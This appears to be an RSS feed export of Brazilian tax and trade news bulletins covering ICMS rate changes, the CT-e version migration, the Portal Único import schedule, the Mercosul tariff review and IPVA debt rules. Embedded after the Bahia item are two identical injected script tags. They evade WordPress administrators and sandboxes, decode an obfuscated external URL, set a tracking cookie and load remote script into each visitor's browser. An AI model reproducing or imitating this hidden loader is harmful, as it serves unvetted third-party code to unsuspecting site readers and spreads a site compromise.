	De igual forma, não poderão entrar na base de cálculo desses juros as reservas de capital formadas com lucro líquido decorrente de doações ou subvenções governamentais para investimentos.</p>
<p>
	Transporte de passageiros<br />
	Tema novo incluído pelo relator no texto da MP é a concessão de crédito presumido de PIS/Cofins para empresas de transporte rodoviário intermunicipal e interestadual de passageiros, exceto o metropolitano.</p>
<p>
	O benefício valerá de 1º de janeiro de 2024 a 31 de dezembro de 2026 e corresponderá a um percentual do valor obtido com a aplicação das alíquotas desses tributos sobre a receita com o serviço:</p>
<p>
	&#8211; 66,67% do apurado entre 1º de janeiro e 31 de dezembro de 2024; e</p>
<p>
	&#8211; 50% de 1º de janeiro de 2025 a 31 de dezembro de 2026</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Câmara dos Deputados
                        </p>
</p></div>
<hr>
<h1>ICMS/SC: Nova Lei do ICMS do querosene deve ampliar oferta de voos em SC</h1>
<div class="itemContent">
<p>
	A nova lei que reduz a alíquota de ICMS do querosene de aviação deve ampliar a oferta de voos dentro do estado de Santa Catarina. O texto, proposto pelo governador Jorginho Mello, foi aprovado nesta quarta-feira, 13/12, pela Assembleia Legislativa. Pela proposta a tributação poderá variar dos atuais 17% até 1,5% conforme tabela criada com base em alguns critérios e metas atingidas pelas companhias aéreas.</p>
<p>
	A discussão sobre uma nova alíquota de ICMS sobre o querosene de aviação envolveu as secretarias estaduais de Portos, Aeroportos e Ferrovias (SPAF), da Fazenda, e a Bancada do Oeste. O objetivo principal é tornar o estado de Santa Catarina mais atrativo para a ampliação de voos entre os seus aeroportos e oferecer condições para que as empresas aéreas incluam o estado no aumento da malha aérea.</p>
<p>
	“É mais uma nova prova da nossa acertada decisão de criar a secretaria de Portos, Aeroportos e Ferrovias. É um setor que precisava de um olhar dedicado para fazer boas ideias virarem realidade”, disse o governador Jorginho Mello.</p>
<p>
	“Mantivemos contatos com as empresas aéreas para entender as necessidades do mercado e para cumprir uma determinação do governador Jorginho Mello que é a de ampliar a oferta de voos regionais no estado. Sabemos que o combustível representa 40% do custo das companhias e junto com a secretaria da Fazenda e os parlamentares construímos uma proposta que tornará o estado mais atraente para estas operações”, afirma o secretário de Portos, Aeroportos e Ferrovias, Beto Martins.</p>
<p>
	O secretário da Fazenda, Cleverson Siewert explica que o investimento em infraestrutura e mobilidade, com a participação ainda mais efetiva da aviação, é fundamental para incentivar o desenvolvimento econômico de Santa Catarina.</p>
<p>
	“Este projeto é resultado da construção conjunta do Governo do Estado com o Poder Legislativo. Consideramos estudos técnicos, financeiros e aspectos jurídicos para garantir a melhor redação possível e atender as demandas. Com a aprovação do projeto e o incentivo à aviação regional, vamos dar mais um passo para ampliar a oferta aeroviária em SC”, diz o secretário.</p>
<p>
	Pela proposta aprovada na Alesc a tributação de 1,5% será possível para empresas que tiverem operações em oito aeroportos, com oferta de quatro voos internacionais e 50 voos nacionais semanais e dois voos entre aeroportos localizados no estado. A redução varia conforme outras condições apresentadas na legislação, sempre baseada no número de aeroportos atendidos, voos e destinos internos entre cidades de Santa Catarina.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/SC
                        </p>
</p></div>
<hr>
<h1>ICMS/PI: A versão 3.00 do CT-e será extinta e perderá vigência em 31 de Janeiro de 2024</h1>
<div class="itemContent">
<p>
	A Coordenação Técnica do Encontro Nacional de Coordenadores e Administradores Tributários (ENCAT) alerta todos Transportadores e Embarcadores que a versão 3.00 do Conhecimento de Transporte Eletrônico (CT-e) será extinta e perderá vigência na data de 31 de Janeiro de 2024, em caráter IRREVOGÁVEL, devendo os sistemas de emissão de CT-e e os sistemas dos embarcadores estarem migrados para a versão 4.00, preferencialmente até dia 15 de dezembro de 2023, visando evitar dificuldades de última hora.</p>
<p>
	A versão 4.00 traz inúmeros benefícios operacionais para o sistema de emissão de CT-e, com novas funcionalidades e simplificação para os transportadores. Para os sistemas de embarcadores, a integração com a versão 4.00 não traz nenhuma dificuldade, considerando o layout do documento fiscal e seus campos.</p>
<p>
	Para melhores informações, acesse https://www.cte.fazenda.gov.br/portal/principal.aspx</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/PI
                        </p>
</p></div>
<hr>
<h1>ICMS/CE: Novos Códigos de Ajuste para Crédito Presumido e Outorgado</h1>
<div class="itemContent">
<p>
	A Secretaria da Fazenda do Estado do Ceará (Sefaz-CE) informa que foi publicada a Instrução Normativa nº 135/2023, que altera a Instrução Normativa nº 64/2018 e cria códigos de ajuste específicos para escrituração dos créditos presumidos e outorgados do ICMS.</p>
<p>
	Os contribuintes que possuem algum desses benefícios passam a ser obrigados a utilizar, a partir de 1º de janeiro de 2024, o código de ajuste específico adequado à sua situação, sendo vedado o uso de códigos genéricos como: Crédito Presumido ou Crédito Outros.</p>
<p>
	Os códigos de ajuste específicos de crédito presumido e outorgado estão disponíveis no Anexo Único da Instrução Normativa nº 64/2018, conforme link para consulta a seguir:</p>
<p>
	https://sefazlegis.sefaz.ce.gov.br/api/openFile?id=359a3120-1acb-4dd3-858e-da55f824ffd9</p>
<p>
	Em caso de dúvidas sobre a utilização dos códigos de ajuste, os contribuintes devem entrar em contato com a Célula de Documentos Fiscais (Cedot) pelo e-mail sped@sefaz.ce.gov.br.</p>
<p>	 </p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/CE
                        </p>
</p></div>
<hr>
<h1>ICMS/BA: Dispensa de obrigações Acessórias &#8211; DMA Bahia</h1>
<div class="itemContent">
<p>
	O governador do estado da Bahia através do Decreto nº 22.453 de 14 de Dezembro de 2023(DOE 15.12.2023), dispensou a partir de 01.01.2024, a entrega das espécies de Declarações Econômico-Fiscais indicadas a seguir:</p>
<p>
	 &#8211; Declaração e Apuração Mensal do ICMS (DMA);<br />
	 &#8211; Cédula Suplementar da Declaração e Apuração Mensal do ICMS (CS-DMA);<br />
	 &#8211; Declaração da Movimentação de Produtos com ICMS Diferido (DM</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                LegisWeb Consultoria
                        </p>
</p></div>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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			</item>
		<item>
		<title>Boletim Sibrax 15/12</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 15 Dec 2023 09:00:06 +0000</pubDate>
				<category><![CDATA[Admin Clinica]]></category>
		<category><![CDATA[Administrador de Condomínios]]></category>
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		<category><![CDATA[Administrador Sibrax]]></category>
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					<description><![CDATA[<p>Portal Único estará 100% habilitado para importações até o final de 2024 Até o final de 2024, o Portal Único de Comércio Exterior estará habilitado a processar 100% das operações de importação realizadas no Brasil, segundo cronograma aprovado na quarta-feira (13/12) pela Comissão Gestora do Siscomex. “O ano de 2024 será um marco para a [&#8230;]</p>
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										<content:encoded><![CDATA[<h1>Portal Único estará 100% habilitado para importações até o final de 2024</h1>
<div class="itemContent">
<p>
	Até o final de 2024, o Portal Único de Comércio Exterior estará habilitado a processar 100% das operações de importação realizadas no Brasil, segundo cronograma aprovado na quarta-feira (13/12) pela Comissão Gestora do Siscomex.</p>
<p>
	“O ano de 2024 será um marco para a migração das operações de comércio exterior para o Portal Único”, assegura Janaina Silva, secretária de Comércio Exterior substituta (Secex) do Ministério do Desenvolvimento, Indústria, Comércio e Serviços (MDIC). “Desde 2018, as operações de exportação já ocorrem na nova plataforma, e espera-se que o desligamento do antigo sistema de importação esteja concluído em 2025”.</p>
<p>
	Atualmente, a capacidade operacional do Portal é de 60% das compras no exterior, em termos de valor. O volume deve subir para 70% já nos próximos dias, com a possibilidade de que as operações pelo regime drawback sejam processadas também por ali.</p>
<p>
	Drawback é um mecanismo que permite desonerar de tributos os insumos importados ou adquiridos no mercado interno para produção de bens destinados à exportação.</p>
<p>
	“Ao reformular os processos de exportação e importação do Brasil, tornando-os mais eficientes, integrados e harmonizados, com a criação de um guichê único para a interação entre o governo e os operadores privados atuantes no comércio exterior, o Portal gera benefícios que resultam em menores custos e prazos para concretização das transações comerciais com o exterior”, destaca Janaina. “Exemplos desses benefícios são a utilização da Licença Flex para múltiplas operações, a eliminação da apresentação de documentos em papel e a ampliação do despacho sobre águas, com informações antecipadas para os operadores.”</p>
<p>
	A Comissão Gestora do Siscomex é composta pelos secretários executivos do MDIC e da Fazenda, contando ainda com a participação da Secretaria de Comércio Exterior e da Secretaria Especial da Receita Federal do Brasil.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Ministério do Desenvolvimento, Indústria, Comércio e Serviços
                        </p>
</p></div>
<hr>
<h1>Brasil começa a debater revisão tarifária do Mercosul</h1>
<div class="itemContent">
<p>
	Na reunião do Conselho Estratégico da Câmara de Comércio Exterior – CEC/Camex, desta quinta-feira (14/12), o governo federal decidiu promover uma profunda análise da estrutura da Tarifa Externa Comum (TEC) do Mercosul, tendo aprovado a criação de um Grupo de Trabalho para esse fim.</p>
<p>
	Ao final de seus trabalhos, o GT irá apresentar ao Conselho Estratégico uma proposta de aprimoramento técnico da TEC. Quando aprovada, ela será levada aos órgãos do Mercosul.</p>
<p>
	&#8220;Nos quase trinta anos de Tarifa Externa Comum, acumularam-se distorções e exceções, o que compromete a racionalidade econômica, a transparência e a previsibilidade das operações de comércio exterior. A tarefa não é fácil, mas evidentemente há espaço para simplificação, medida fundamental para fortalecer a integração econômica de nossa região, que ganha um renovado impulso com a entrada da Bolívia e a assinatura de um novo acordo de comércio, com Singapura avalia o vice-presidente e ministro do Desenvolvimento, Indústria, Comércio e Serviços (MDIC), Geraldo Alckmin.</p>
<p>
	Uma das distorções que a revisão da TEC busca atacar é a chamada escalada tarifária invertida, ou seja, casos em que, numa cadeia produtiva, os insumos têm alíquotas mais elevadas do que o bem final.</p>
<p>
	Essa distorção desestimula o processamento e a agregação de valor no Brasil porque favorece a importação do produto acabado. Por exemplo, no passado recente, o imposto de importação de pneus para veículos de carga havia sido reduzido a 0%, ao passo que a alíquota para a borracha natural fora mantida em 3,6%.</p>
<p>
	“Corrigiu-se pontualmente essa distorção com a Resolução Gecex nº 459, de 17 de março de 2023”, lembra Marcela Carvalho, secretária executiva da Camex. “Mas precisamos ir além. Uma revisão profunda das alíquotas aplicadas ao universo tarifário do bloco, que contempla mais de 10 mil itens, poderá apontar outros aspectos que mereçam reparo”.</p>
<p>
	Segundo Marcela, a revisão da TEC pretende aumentar a transparência, a previsibilidade e a segurança jurídica para os agentes econômicos em geral e para os operadores de comércio exterior em particular.</p>
<p>
	Atualmente, existem no Brasil 23 alíquotas para o imposto de importação e vários mecanismos e regimes tributários e aduaneiros diferentes, de maneira que, muitas vezes, as alíquotas nominais da TEC acabam não sendo efetivamente praticadas.</p>
<p>
	“O diagnóstico a ser elaborado pelo GT vai permitir a elaboração de propostas adequadas à realidade do país e do bloco, o que, por sua vez, poderá trazer mais transparência ao comércio exterior brasileiro”, afirma Tatiana Prazeres, secretária de Comércio Exterior do MDIC.</p>
<p>
	Além de membros da Camex, o GT de revisão deverá convidar para suas reuniões representantes de outros órgãos públicos e de entidades da iniciativa privada. As discussões serão guiadas pelos seguintes parâmetros:</p>
<p>
	Transparência: O processo de elaboração da proposta envolverá diversos atores da sociedade, como governo, setor produtivo e consumidores, procurando dar publicidade às decisões tomadas e abrindo espaço para manifestação a todos os interessados.</p>
<p>
	Previsibilidade: A implementação da modernização tarifária deve ser feita de forma previsível e faseada, permitindo que o setor privado tenha tempo para se preparar e se adaptar às eventuais mudanças.</p>
<p>
	Segurança jurídica: As propostas respeitarão o ordenamento jurídico do Mercosul, com segurança jurídica aos operadores do comércio exterior em ambiente regulatório estável e previsível.</p>
<p>
	Escalada tarifária: Desde sua origem, a TEC previa o estabelecimento de uma escalada tarifária, com vistas a incentivar a agregação de valor nos países do bloco. No entanto, o panorama atual revela situações que podem ser revistas no processo de modernização, trazendo mais racionalidade econômica à estrutura tarifária.</p>
<p>
	Redução da dispersão e dos níveis de alíquotas existentes: A TEC, originalmente, apresentava uma escala de alíquotas que variavam de 0% a 20%, aumentando em 2 pontos percentuais de acordo com o grau de elaboração dos produtos ao longo da cadeia produtiva. Ou seja, a ideia inicial era que houvesse no máximo 11 níveis tarifários. Hoje, contudo, o Brasil aplica 23 alíquotas diferentes na importação de seus produtos, com mínima de 0% e máxima de 35%.</p>
<p>
	Experiência internacional: O trabalho deve levar em conta uma análise comparativa internacional, quando cabível, buscando utilizar as experiências e resultados de outros países. Proposições baseadas em evidências: As proposições devem ser tomadas com base em estudos com métodos científicos, dados e informações consistentes e confiáveis.</p>
<p>
	O GT realizará seus trabalhos ao longo do próximo ano, em linha com a prorrogação do mandato negociador, no âmbito do Mercosul, do Grupo Ad Hoc para Examinar a Consistência e Dispersão da Tarifa Externa Comum (GAHTEC), e será coordenado pela Secretaria-Executiva da Camex. Após a publicação da resolução que cria o GT, os membros da Camex deverão indicar seus representantes para o grupo e apresentar propostas sobre o tema.</p>
<p>	 </p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Ministério do Desenvolvimento, Indústria, Comércio e Serviços
                        </p>
</p></div>
<hr>
<h1>Codefat aprova calendário de pagamento do Abono Salarial para 2024</h1>
<div class="itemContent">
<p>
	O Conselho Deliberativo do Fundo de Amparo do Trabalhador (Codefat), aprovou na tarde desta quarta-feira (13), o calendário de pagamento do Abono Salarial de 2024, relativo ao ano-base 2022. A estimativa é que cerca de 24,5 milhões de trabalhadores recebam o abono salarial, um dispêndio de R$ 23,9 bilhões. O pagamento do PIS e do PASEP será de acordo com a data de aniversário do beneficiário, com início de pagamento em 15 de fevereiro para os nascidos em janeiro, e segue até 15 de agosto aos nascidos em dezembro. (veja a tabela abaixo) </p>
<p>
	O Abono Salarial será pago aos trabalhadores de empresas privadas, que integram o Programa de Integração Social (PIS), por intermédio da Caixa Econômica Federal, e aos trabalhadores da Administração Pública, que integram o Programa de Formação do Patrimônio do Servidor Público do Abono Salarial (PASEP), pelo Banco do Brasil. Para ter direito ao Abono Salarial, o trabalhador precisa ter sido informado pelo empregador na RAIS até o dia 10 de maio de 2023 e no eSocial até o dia 5 de dezembro de 2023. Após essa data, somente no próximo exercício. </p>
<p>
	As informações sobre os trabalhadores que têm direito ou não ao Abono Salarial, poderão ser consultadas, a partir do dia 5 de fevereiro de 2024, na carteira de trabalho digital ou no portal Gov.br. </p>
<p>
	Quem não tem direito – O Abono Salarial é devido ao trabalhador que atender aos critérios de habilitação descritos no art. 9º da Lei 7998/1990, e deve estar cadastrado no programa PIS/PASEP ou no CNIS (data do primeiro emprego) há pelo menos cinco anos; ter trabalhado para empregadores que contribuem para o Programa de Integração Social (PIS) ou para o Programa de Formação do Patrimônio do Servidor Público (PASEP); ter recebido até 2 (dois) salários mínimos médios de remuneração mensal no período trabalhado; ter exercido atividade remunerada, durante pelo menos 30 dias, consecutivos ou não, no ano-base considerado para apuração; ter seus dados informados pelo empregador (Pessoa Jurídica/Governo) corretamente na Relação Anual de Informações Sociais (RAIS) ou no eSocial do ano-base considerado para apuração.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Ministério do Trabalho e Emprego
                        </p>
</p></div>
<hr>
<h1>Domicílio Eletrônico: acesso ao sistema pode ser realizado por meio de certificado digital</h1>
<div class="itemContent">
<p>
	O acesso ao Domicílio Eletrônico no âmbito do Sistema CFC/CRCs, além de ser realizado por meio de senha de segurança cadastrada pelo credenciado, também poderá ser feito por meio de certificado digital emitido por autoridade certificadora credenciada pela Infraestrutura de Chaves Públicas Brasileira (ICP Brasil), nos termos da lei federal específica.</p>
<p>
	A adesão ao portal de serviços para os profissionais da contabilidade é permitida àqueles que estiverem com o registro ativo em algum dos 27 Conselhos Regionais de Contabilidade (CRCs).</p>
<p>
	Segundo a Resolução CFC n.º 1.698, o certificado digital deverá conter obrigatoriamente o número de inscrição no Cadastro de Pessoas Físicas (CPF) de seu titular; ou o número de inscrição no Cadastro Nacional da Pessoa Jurídica (CNPJ) no caso de entidades contábeis, sendo exigido um certificado digital para cada raiz do número do CNPJ.</p>
<p>
	Anuidade 2024</p>
<p>
	Profissionais da contabilidade e organizações contábeis registrados no Sistema CFC/CRCs devem aderir ao Domicílio Eletrônico ainda em 2023 para garantir os descontos nos valores das anuidades de 2024, de acordo com a Resolução CFC n.º 1.709. Para conferir os detalhes dos valores atualizados e descontos, clique aqui.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal CFC
                        </p>
</p></div>
<hr>
<h1>Receita Federal retoma o pagamento de débitos com cartão de crédito</h1>
<div class="itemContent">
<p>
	Dando continuidade ao piloto iniciado em fevereiro e interrompido temporariamente para a realização de ajustes e evoluções, esse serviço construído em parceria com o Banco do Brasil está disponível de 0h às 22h, nos 7 dias da semana. Os pagamentos efetuados em dia não útil terão como data de efetivo pagamento o dia útil seguinte.</p>
<p>
	Nessa fase serão aceitos pagamentos para os Documentos de Arrecadação de Receitas Federais (Darf) numerados emitidos em alguns ambientes da Receita Federal, do Regularize e do Simples Nacional: o Sicalc Web, os parcelamentos ordinários e simplificados da Receita Federal, o “Regularize” para débitos inscritos em Dívida Ativa da União e o PGDAS-D ou o DASN-Simei para as multas por atraso na entrega das declarações do Simples Nacional.</p>
<p>
	Poderão ser pagos débitos de até R$ 15 mil com cartões das bandeiras Visa, Mastercard, Elo e Amex, de qualquer instituição. O contribuinte poderá acompanhar o pagamento e a emissão do seu comprovante por e-mail e pelo Centro Virtual de Atendimento ao Contribuinte (eCAC).</p>
<p>
	Ao longo do ano de 2024 a Receita Federal implementará gradualmente essa modalidade de pagamento para as demais situações.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Receita Federal
                        </p>
</p></div>
<hr>
<h1>ICMS/RS: Revisão de benefícios fiscais é apresentada a deputados e entidades empresariais</h1>
<div class="itemContent">
<p>
	O governador Eduardo Leite reuniu, na manhã desta quarta-feira (13), secretários e deputados da base aliada, além de entidades empresariais, para apresentar alternativas à recomposição das receitas do Estado nos próximos anos. Para garantir que o Rio Grande do Sul amplie sua participação no futuro Imposto sobre Bens e Serviços (IBS) – tributo que será criado com a reforma tributária, cujo cálculo da fatia de cada Estado terá por base as receitas de 2024 a 2028 –, o governo encaminhou à Assembleia Legislativa em novembro o Projeto de Lei 534/2023, que reajusta a alíquota modal do Imposto sobre Circulação de Mercadorias e Serviços (ICMS) de 17% para 19,5%, a exemplo do que fizeram outros 19 estados.</p>
<p>
	Como alternativa a essa iniciativa e pensando nas receitas gaúchas no futuro, foi apresentado um plano de revisão dos benefícios fiscais. Ao iniciar a apresentação, o governador disse que as desonerações fiscais não são destinadas apenas às empresas, mas estão presentes no apoio a setores econômicos estratégicos para o Estado e no consumo de alimentos de quem vive no território gaúcho.</p>
<p>
	“Alterar os benefícios é uma alternativa mais amarga, pois afeta a produção. Porém sou o mesmo governador que responde pelas políticas de desenvolvimento econômico e pelos serviços essenciais à população, e não posso permitir o retorno a uma situação de desequilíbrio nas contas depois das receitas que nos tiraram”, disse Leite, referindo-se às mudanças federais que, em 2022, reduziram as alíquotas de ICMS em combustíveis, energia e telecomunicações. </p>
<p>
	A proposta apresentada, que está em fase de elaboração de decretos, trata de novas condições para fruição dos benefícios fiscais, ampliação do Fator de Ajuste de Fruição (FAF) e extinções e reduções de benefícios da cesta básica de alimentos. Ela prevê que o acesso ficará condicionado ao depósito de 10% a 40% do benefício em um fundo do Estado – o que significa, na prática, uma redução do incentivo, porque esse recurso retorna para os cofres públicos. Essa alternativa já é adotada em outros estados e seria aplicada de forma progressiva até chegar aos 40%. A recomposição de receitas, nesse caso, seria de R$ 433 milhões a R$ 1,7 bilhão por ano.</p>
<p>
	Sobre o FAF, o governador explicou que a regra existente hoje, que atrela o benefício ao volume de compras feitas pelas empresas no próprio estado, seria alterada. Atualmente, empresas garantem 85% do benefício integralmente e, para usufruir dos demais 15%, devem adquirir insumos no próprio território gaúcho. Com a mudança, 100% do crédito presumido ficaria condicionado às compras no Rio Grande do Sul. Segundo o governador, nessa situação, por um lado há um ganho econômico, mas, por outro, a empresa que não conseguir atingir o índice de 100% perderia os benefícios. O potencial de recuperação de receitas é de R$ 382 milhões a R$ 607 milhões anuais.</p>
<p>
	No que se refere à cesta básica, o chefe do Executivo gaúcho lembrou que, atualmente, há produtos isentos de ICMS ou que têm redução para 7% na sua carga tributária. Com a medida proposta, será aplicada carga de 12% sobre todos os itens. Nesse caso, o potencial de recomposição é de R$ 1,3 bilhão por ano. Leite destacou que a opção de reajuste da alíquota modal, que está em análise na Assembleia, não interfere nesses produtos.</p>
<p>
	“Com essas medidas, será possível recompor parte da receita, reforçar nossa participação no bolo tributário nacional na reforma, garantir devolução de tributos à sociedade pelo Devolve ICMS e assegurar investimentos para a população”, afirmou o governador, ressaltando que a opção da alíquota modal distribui melhor o peso das medidas. No caso de uma conta de luz residencial de R$ 160, por exemplo, o incremento seria de pouco mais de R$ 4, com o reajuste para 19,5%.</p>
<p>
	Leite lembrou o apoio dos deputados nas reformas administrativa e previdenciária e também nas pautas tributárias, citando a extinção do Diferencial de Alíquotas (Difal) – que, como diversas outras ações, garantiu um ambiente de negócios melhor para o Estado, mas retira cerca de R$ 600 milhões por ano da arrecadação. O governador disse ainda que o Difal não está incluído em nenhuma das propostas em análise.</p>
<p>
	Por fim, Leite agradeceu pela aprovação do novo Marco Legal da Educação na terça-feira (12): “Foi um avanço importante, que consolida um ímpeto reformista deste governo e da Assembleia. As reformas não se dão apenas por desejo do governador, mas porque a sociedade compreende a necessidade dos ajustes na máquina pública”, destacou.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/RS
                        </p>
</p></div>
<hr>
<h1>IPVA/GO: Regras para pagar o IPVA atrasado de 2023</h1>
<div class="itemContent">
<p>
	O Superintendente de Recuperação de Créditos da Secretaria da Economia, Fabiano Gomes de Paula, revela que cerca de 600 mil veículos em Goiás foram atuados por não terem quitado o IPVA de 2023, com dívida estimada em R$ 636 milhões. Eles podem parcelar em seis vezes o imposto e obterem desconto de até 30% na multa se aproveitarem a “janela de oportunidades” que se abre a partir de agora e se estende até a inscrição dó débito na dívida ativa.</p>
<p>
	“A janela de oportunidade abre-se hoje para o proprietário de placas com finais 1 e 2, pois o vencimento do IPVA para eles ocorreu em setembro. A Secretaria tem 90 dias, a partir do vencimento, para adotar o parcelamento e daí inscrever o débito na dívida ativa. Eles podem combinar o parcelamento com o desconto padrão, previsto em lei ”, esclarece o superintendente.</p>
<p>
	Para outros finais de placas (de 3 a 0), cuja data para pagar o IPVA venceu em outubro, o prazo para fazer o parcelamento será em janeiro de 2024. A partir da inscrição na dívida ativa o desconto para o pagamento da multa do IPVA atrasado será menor, de 25%. Para regularizar sua situação junto à Receita Estadual, basta acessar o serviço e-Parcelamento no site da Economia, que possibilita o pagamento da dívida em parcelas ou à vista.</p>
<p>
	O e-Parcelamento é totalmente virtual e oferece opções como consulta de débitos; simulação do parcelamento; emissão de parcelas existentes e do documento de arrecadação para quem optar por pagamento à vista. A Secretaria da Economia também disponibiliza um vídeo-tutorial sobre como utilizar o sistema. Para acessar, clique aqui. </p>
<p>
	No momento, a opção de parcelamento está disponível apenas para finais 1 e 2, no caso do IPVA 2023, e para todos os finais de placa quando o imposto atrasado é de anos anteriores. Para os proprietários de veículos com finais 3 a 0 que ainda não pagaram o tributo do exercício 2023, o parcelamento será liberado a partir de janeiro de 2024.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/GO
                        </p>
</p></div>
<hr>
<h1>IPVA/AP: Oportunidade de liquidação de dívidas com Detran-AP encerra nesta sexta-feira, 15; saiba como negociar os débitos</h1>
<div class="itemContent">
<p>
	O Governo do Estado oferece até esta sexta-feira, 15, oportunidades e vantagens especiais para proprietários de veículos regularizarem dívidas junto ao Departamento Estadual de Trânsito do Amapá (Detran-AP). A iniciativa que permite a negociação de multas de trânsito e outros débitos, integra a 1ª Semana Nacional de Regularização Tributária, realizada em parceria com o Tribunal de Justiça do Amapá (Tjap).</p>
<p>
	Para os donos de carros e motocicletas apreendidos nos pátios do Detran, o mutirão oportuniza que o cidadão possa retirar o veículo pagando uma taxa única de recolhimento, fixada em R$ 700, para carro e R$ 300 reais para motocicletas apreendidas. As taxas de recolhimento se referem à estadia, guincho, liberação e vistoria.</p>
<p>
	A Semana de Regularização Tributária ocorre no horário das 8h às 15h, no Centro Judicial de Solução de Conflitos e Cidadania (Cejusc) da Zona Norte, na Avenida Maria Cavalcante de Azevedo Picanço, s/n, bairro Infraero, próximo da Rodovia Norte-Sul.</p>
<p>
	Confira as condições de pagamento em cada situação.</p>
<p>
	IPVA e Licenciamento</p>
<p>
	A negociação de dívidas do Imposto de Propriedade de Veículos Automotores (IPVA) e do Licenciamento está condicionada ao pagamento integral das taxas do ano de 2023 e os débitos vencidos até 31 de dezembro de 2022, que podem ser parcelados em até 10 vezes (sem juros ou correção). </p>
<p>
	Multas de trânsito</p>
<p>
	As multas em atraso notificadas pelo Detran Amapá poderão ser parceladas através de cartão de crédito ou débito em até 12 parcelas e sem juros ou correção, conforme a Resolução do Conselho Nacional de Trânsito (Contran) nº 736. Multas de órgãos fiscalizadores federais e municipais não estão incluídas no mutirão. </p>
<p>
	Cidadãos com procuração</p>
<p>
	Para receber atendimento mediante procuração, o cidadão deverá apresentar o documento específico para acordos judiciais, que irá legitimar o acordo de pagamento da dívida.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/AP
                        </p>
</p></div>
<hr>
<h1>ICMS/TO: Comunicado aos contribuintes</h1>
<div class="itemContent">
</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/TO
                        </p>
</p></div>
<hr>
<h1>Momento do reconhecimento da receita na venda para entrega futura com recebimento de adiantamento</h1>
<div class="itemContent">
<p>
	Através da Solução de Consulta COSIT Nº 295 DE 17/11/2023, a Receita Federal esclareceu sobre o momento do reconhecimento da receita nas operações de venda para entrega futura com recebimento de adiantamento.</p>
<p>
	Na venda para entrega futura, é celebrado um contrato de compra e venda de mercadorias que já existem no estoque. Embora elas estejam à disposição do comprador, os contratantes deliberam por entregá-las apenas em data futura.</p>
<p>
	Já no faturamento antecipado, é celebrado um contrato de compra e venda de mercadorias que ainda não existem no estoque. Elas ainda precisam ser adquiridas ou – como no caso vertente – produzidas pela indústria vendedora.</p>
<p>
	Nas operações de compra e venda com faturamento antecipado, em que o vendedor recebe um adiantamento pela alienação de mercadorias que ainda serão produzidas, a eficácia do ato jurídico encontra-se vinculada ao implemento de condição suspensiva, que depende da ocorrência de evento incerto e futuro, ou seja, a produção do bem e sua entrega ao adquirente.</p>
<p>
	Nesse caso, somente com a efetiva entrega da mercadoria (tradição) e a emissão da nota fiscal em nome do adquirente é que haverá o implemento da condição suspensiva e será reconhecida a receita.<br />
	 </p>
<p>
